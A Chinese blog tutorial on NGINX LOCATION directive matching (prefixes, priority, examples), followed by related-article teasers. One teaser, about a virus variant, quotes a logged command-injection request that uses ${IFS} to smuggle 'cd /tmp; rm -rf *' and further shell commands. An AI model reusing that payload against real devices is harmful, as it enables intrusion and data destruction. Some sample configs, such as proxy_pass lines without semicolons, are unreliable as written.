NGINX学习笔记(三):一篇搞懂NGINX的常用配置之LOCATION指令

news2024/9/22 11:27:05

写在前面

NGINX主配置文件 /etc/nginx/nginx.conf 是一个纯文本类型的文件,整个配置文件是以区块的形式组织,通常每一个区块以一对大括号{}来表示开始与结束。
提示:若编译安装则nginx.conf 位于编译时所指定目录。
我是手动编译安装的,在安装时设置安装文件的路径(将软件安装在:/opt/software/nginx-1.18.0/target目录下),所以配置文件为:/opt/software/nginx-1.18.0/target/conf/nginx.conf

官方文档

LOCATION指令官方指南

LOCATION指令的作用?

NGINX通过将一个请求的URL与LOCATION进行比对判断,决定将该请求使用到哪个LOCATION对应的策略进行处理,可以把LOCATION理解为URL路由,或者当成URL的分发处理器。

配置文件的目录结构

在这里插入图片描述

  • Main层位于nginx.conf 配置文件的最高层;
  • Main层下可以有 EVENTS、HTTP 层;
  • Http层下面允许有多个SERVER块,用于对不同的网站做不同的配置;
  • SERVER块下面允许有多个LOCATION,用于对不同的路径进行不同模块的配置。

1. 全局配置,用来配置对整个 server 都有效的参数,主要设置一些影响NGINX服务器整体运行的配置指令。主要包括配置运行NGINX服务器的用户(组)、允许生成的 worker process 数、进程 PID 存放路径、日志存放路径、类型以及配置文件的引入等。

2. EVENTS层,涉及的指令主要影响NGINX服务器与用户的网络连接。主要包括配置是否开启对多 worker process 下的网络连接进行序列化、是否允许同时接收多个网络连接、选取哪种事件驱动模型来处理连接请求、每个 worker process 可以同时支持的最大连接数等。

3. HTTP层,包括全局层和多个SERVER块。全局块层主要包括配置文件引入、MIME-TYPE 定义、日志自定义、连接超时时间、单链接请求数上限等。提示:通常SERVER块配置在独立的:/opt/software/nginx-1.18.0/target/conf/*.conf中,通过引用的方式,在HTTP层调用。

4. SERVER块也被叫做“虚拟主机”部分,它描述的是一组根据不同 server_name 指令逻辑分割的资源,这些虚拟服务器响应HTTP 请求,因此都包含在 http 部分。最常见的配置是本虚拟机主机的监听配置和本虚拟主机的名称或 IP 配置。一个SERVER块可以配置多个LOCATION块。

ROOT指令?

ROOT指令,用于设置请求的根目录,允许NGINX将传入的请求映射到文件系统。

如何配置LOCATION指令?

1. 语法

SERVER块可以包含多个LOCATION块,LOCATION指令用于匹配URI,语法:

location [ = | ~ | ~* | ^~] uri {
	... ;
}

location @name {
	... ;
}

2. 前缀

=      # 普通字符串匹配,精确且严格匹配,第一个被处理,匹配到即停止搜索;
^~     # 普通字符串匹配,按最长匹配执行,匹配到即停止搜索,不匹配其它LOCATION选项,一般用来匹配目录;# 普通字符串匹配,按最长匹配执行,匹配到不停止搜索,还要继续看有没有匹配的正则表达式,
       # 例如:location /abc {};

~      # 波浪线,正则匹配,区分大小写;
~*     # 波浪线带星,正则匹配,不区分大小写(*表示大小写不敏感,不用区分大小写);

@      # "@" 定义一个命名的 location, 不参与匹配, 在内部重定向时使用, 
       # 一般用在其他的指令中, 例如:error_page, try_files;

3. 说明

=,精确匹配且第一个被处理,精确匹配成功,停止搜索其他匹配。除了精确匹配,然后执行普通字符匹配(非正则表达式匹配),按最长匹配执行,找到最长前缀匹配的LOCATION块。 举例来说:如果请求的路径是 /abcde,那么 location /abc {} 即使匹配成功,还要再看配置中有没有更长的匹配,如果有 location /abcd {} 的配置,找到这个最长匹配之后,如果URI前面有 ^~ 前缀,则停止搜索其他匹配; 如果没有 ^~ 前缀,那么还要继续看有没有匹配的正则表达式,按正则表达式在配置文件中出现的顺序进行匹配,如果找到一个的正则表达式匹配,则停止搜索其他匹配,执行该匹配的LOCATION块。 当没有正则表达式或者没有正则表达式被匹配的情况时,那么匹配程度最高的且最长前缀匹配 location 会被使用。

4. 注意

  1. 匹配优先级: = > ^~ > ~ = ~* > 不带任何字符(最长前缀匹配) > /
  2. 如果URI包含正则表达式, 则必须要有 ~ 或者 ~* 标识
  3. 默认大小写敏感

5. 示例

location  = / {
  # 只精确匹配"/".
  [ configuration A ] 
}
location  = /login {
  # 只精确匹配"/login".
  [ configuration A+ ] 
}
location  / {
  # 匹配任何请求, 因为所有请求都是以"/"开始
  # 但是更长字符匹配或者正则表达式匹配会优先匹配
  [ configuration B ] 
}
location ^~ /images/ {
  # 匹配任何以 /images/ 开始的请求, 并停止匹配其它LOCATION块
  [ configuration C ] 
}
location ~* .(gif|jpg|jpeg)$ {
  # 匹配以 gif, jpg, or jpeg结尾的请求
  # 但是所有 /images/ 目录的请求将由 [Configuration C]处理
  [ configuration D ] 
}
请求URI例子:
/ -> 符合[ configuration A ] 
/doc/index.html -> 符合[ configuration B ] 
/images/1.gif -> 符合[ configuration C ] 
/documents/1.jpg ->符合[ configuration D ] 

6. 常用配置

location  / {
	# 网站根目录
	root /usr/share/nginx/html;
	# 定义首页文件的名称
	index index.html index.htm;
	# 禁止访问的IP地址
	deny 192.168.22.101; 
	# 允许访问的IP地址
	allow 192.168.33.104;
	
	...;
}

LOCATION指令配置的URI结尾带不带/的区别?

对于请求URI结尾是否带有/,一般的处理逻辑如下:

  • 带/:表示匹配目录;
  • 不带/:表示先匹配文件,如果文件不存在也会去匹配目录。

但是:
对于LOCATION指令中的URI来说,如果URI的结尾带有/,并且LOCATION要执行的命令是proxy_pass、fastcgi_pass、uwsgi_pass、scgi_pass、memcached_pass、grpc_pass之一时:

location  /images/{
    proxy_pass http://www.baidu.com
}

对于这种情况,NGINX不管images命名的文件或目录存不存在,如果访问请求为:http://blog.baidu.com/images,则NGINX会将请求重定向到:http://blog.baidu.com/images/。所以如果这两种请求对应不同的处理,就要明确增加不带/结尾的LOCATION指令,如:

location /images {
    proxy_pass http://www.baidu.com
}
location /images/ {
    proxy_pass http://www.google.com
}

LOCATION指令的配置建议

# 1. 先写精准匹配的匹配规则
location  = / {
  # 只精确匹配"/".
  # 一般首页会非常频繁, 所以设置精准匹配, 提高匹配效率。
  [ configuration A ] 
}
location  = /login {
  # 只精确匹配"/login".
  # 登录等也会非常频繁, 所以设置精准匹配, 提高匹配效率。
  [ configuration A+ ] 
}

# 2. 再写排除正则的匹配规则
location ^~ /images/ {
  # 匹配任何以 /images/ 开始的请求, 并停止匹配其它LOCATION块
  # 排除正则匹配可以配置给一般路径资源, 这样可以提高匹配效率, 因为一旦命中下面的3.(正则的匹配规则) 就不会执行了
  [ configuration C ] 
}

# 3. 再写正则的匹配规则
location ~* .(gif|jpg|jpeg)$ {
  # 匹配以 gif, jpg, or jpeg结尾的请求
  # 但是所有 /images/ 目录的请求将由 [Configuration C]处理
  # 一般配置给一些特殊路径的资源或者后缀, 可以有多条正则, 越精确的放到前面, 因为正则一旦命中,
  # 直接下面的正则就不匹配了
  [ configuration D ] 
}

# 4. 最后写默认的根路径匹配
location  / {
  # 匹配任何请求, 因为所有请求都是以"/"开始
  # 但是更长字符匹配或者正则表达式匹配会优先匹配, 上面的都不命中的URI, 全部都走这里
  [ configuration B ] 
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/401201.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【LeetCode】剑指 Offer(20)

目录 题目:剑指 Offer 38. 字符串的排列 - 力扣(Leetcode) 题目的接口: 解题思路: 代码: 过啦!!! 写在最后: 题目:剑指 Offer 38. 字符串的…

一文读懂无线信道传播的各种特性

通过无线信道传播的信号沿着大量不同的路径到达目的地,这些不同路径称为多径。图 1 是一位沿公路驾车的典型移动用户的图形。该图描述了从发射机到接收机的众多信号路径中的三条。这些路径源自环境中物体对辐射能的散射、反射和衍射或者媒介中的折射。各种传播机制对…

mac系统手册(帮助/说明)

文章目录1. mac自带的帮助文档2. Mac使用技巧(提示)2.1 聚焦搜索2.2 截图(录制屏幕)2.3 调出右键菜单2.4 快速查看2.5 翻译2.5.1 词典解释2.5.2 翻译(字、词和句)3. macOS使用手册3.1 在聚焦中进行计算和转…

C51---串口发送字符串

1.Code: #include "reg52.h" #include "intrins.h" sfr AUXR 0x8E; void UartInit(void) //9600bps11.0592MHz { PCON & 0x7F; //波特率不倍速 SCON 0x50; //8位数据,可变波特率 AUXR & 0xBF; //定时器…

100种思维模型之认知资源思维模型-030

我们常说,一个人永远也赚不到自己认知以外的钱,这话的确很有道理,被无数人所推崇。 由此,不难看出,认知在我们的生活起着多么关键的作用。 你的认知层次越高,范围越广,就意味着你这个人所处的阶…

SpringMVC程序开发

目录 SpringMVC 1、MVC定义 2、MVC和SpringMVC之间的关系 学SpringMVC 1、Spring MVC的创建和连接 浏览器获取前端接口和后端程序连接功能实现 2、获取参数 2.1、传递单个参数/多个参数 2.2、传递对象 2.3、传递表单参数 2.4、后端参数重命名 2.5、RequestBody接收J…

postgres源码解析52 磁盘管理器--1

简介 postgres中的磁盘管理器SMGR对外提供了管理磁盘介质的接口,其主要实现在md.c文件中。磁盘管理器并非对磁盘上的文件直接进行操作,而是通过VFD机制进行文件操作。凡是对存储在磁盘中的表进行访问操作均会与磁盘管理器打交道,由它进行统一…

145页企业数字化转型大数据湖项目建设和运营综合解决方案WORD

本资料来源公开网络,仅供个人学习,请勿商用。部分资料内容: 2 需求分析 2.1功能需求 数据湖的应用、管控、展示为一体,提供标准的服务和数据接口和报表展现方式。数据湖数据采用高效,可靠的存储架构。企业业务数据制订…

【0基础学爬虫】爬虫基础之网页基本结构

大数据时代,各行各业对数据采集的需求日益增多,网络爬虫的运用也更为广泛,越来越多的人开始学习网络爬虫这项技术,K哥爬虫此前已经推出不少爬虫进阶、逆向相关文章,为实现从易到难全方位覆盖,特设【0基础学…

不用vdom的lit框架学习1:安装和编译

上一篇文章讲了我们不得不在部分页面将vuepress换用其他框架的原因,这里我们用了一个新的,号称轻量级的lit框架。 主要原因: 1)我们只是部分页面使用,不要要太重的 2)vite默认创建有这个选项…… 我们依…

centos 7下JDK8安装

下载安装包https://www.oracle.com/java/technologies/downloads/#java8-linux上传路径 /usr/local(替换为自己需要安装的路径)解压tar -zxvf jdk-8u131-linux-x64.tar.gz配置环境变量[rootlocalhost java]# vi /etc/profile添加如下配置在配置文件最后&…

C++实现红黑树(RBTree) + 模拟实现map set

目录 一、红黑树(RBTree) 1.1 红黑树概念与性质 1.2 红黑树节点的定义 1.3 红黑树模拟实现 1.3.1 红黑树成员框架 1.3.2 红黑树调整情形 1.3.3 insert() 插入结点 1.3.4 IsBalanceTree() 判断是否为平衡搜索树 二、关联式容器与键值对 2.1 关联式容器概念 2.2 键值对…

python趣味编程-盒子追逐者游戏

在上一期我们用Python实现了一个奥赛罗游戏的游戏,这一期我们继续使用Python实现一个简单的盒子追逐追逐者游戏,让我们开始今天的旅程吧~ 在Python自由源代码中使用Turtle的盒子追逐者游戏 在Python中使用Turtle的盒子追逐者游戏 是一个以 python 程序设…

数据库索引原理

数据库索引的作用是做数据的快速检索,而快速检索实现的本质是数据结构。像二叉树、红黑树、AVL树、B树、B树、哈希等数据结构都可以实现索引,但其中B树效率最高。MySQL数据库索引使用的是B树。二叉树:二叉树中,左子树比根节点小&a…

C++回顾(十六)—— 异常处理机制

16.1 异常的基本语法 1) 若有异常则通过throw操作创建一个异常对象并抛掷。2) 将可能抛出异常的程序段嵌在try块之中。控制通过正常的顺序执行到达try语句,然后执行try块内的保护段。3) 如果在保护段执行期间没有引起异常&#xf…

dark.x86病毒新变种

病毒行为类似https://www.cnblogs.com/wangbingbing/p/15319257.html依然是来自俄罗斯莫斯科的病毒。旧病毒换了个伪装程序查服务器nginx日志发现一个异常请求170.254.229.130 - - [09/Mar/2023:07:19:08 0800] "GET /bin/zhttpd/${IFS}cd${IFS}/tmp;rm${IFS}-rf${IFS}*;$…

4个顶级的华为/小米/OPPO/Vivo手机屏幕解锁工具软件

有好几次用户发现自己被锁定在他们的华为/小米/OPPO/Vivo设备之外,我们知道这可能是一种非常可怕的体验。在这种情况下,找到安卓手机解锁软件,重新获得手机中重要数据和文件的访问权限。看看这篇文章,因为我们将与您分享什么是解锁…

DML 添加、修改、删除数据

目录 DML 一、添加数据 1、给指定字段添加数据 2、给全部字段添加数据 3、批量添加数据 二、修改数据 三、删除数据 DML DML英文全称是Data Manipulation Language(数据操作语言),用来对数据库中表的数据记录进行增、删、改操作。 一、添加数据 1、给指定字…

中国人民大学与加拿大女王大学金融硕士——沉淀自己是最好的升华

三毛曾说过:“给自己时间,不要焦虑,一步一步来,一日一日过,请相信生命的韧性是惊人的,跟自己的心去合作,不要放弃对自己的爱护”。当你的能力还驾驭不了你的目标时,你就应该沉下心来…

如何配置用于构建 FastReport Online Designer 的 API ?

FastReport Online Designer 是一个跨平台的报表设计器,允许通过任何平台的移动设备创建和编辑报表。今天我们就一起来看看在2023版中新增和改进的功能有哪些,点击下方可以获取最新版免费试用哦! FastReport Onlin Designe最新版试用https:/…